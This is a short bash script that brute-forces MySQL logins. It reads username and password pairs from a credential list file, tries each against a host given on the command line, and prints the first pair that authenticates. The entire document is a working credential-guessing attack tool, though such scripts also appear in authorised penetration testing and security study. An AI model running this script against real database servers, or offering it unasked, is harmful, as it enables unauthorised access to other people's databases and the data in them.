#!/bin/bash
#In the file, list of usernames & passwords in format of: "user:pass"
file=credentiallist.txt
[[ $# -ne 1 ]] && echo "usage: $0 ip_or_hostname_here" && exit
while IFS=: read user pass
do
    mysql -h $1 -u $user -p"$pass" -e STATUS && echo "Found: user=$user pass=$pass" && exit 0
done < $file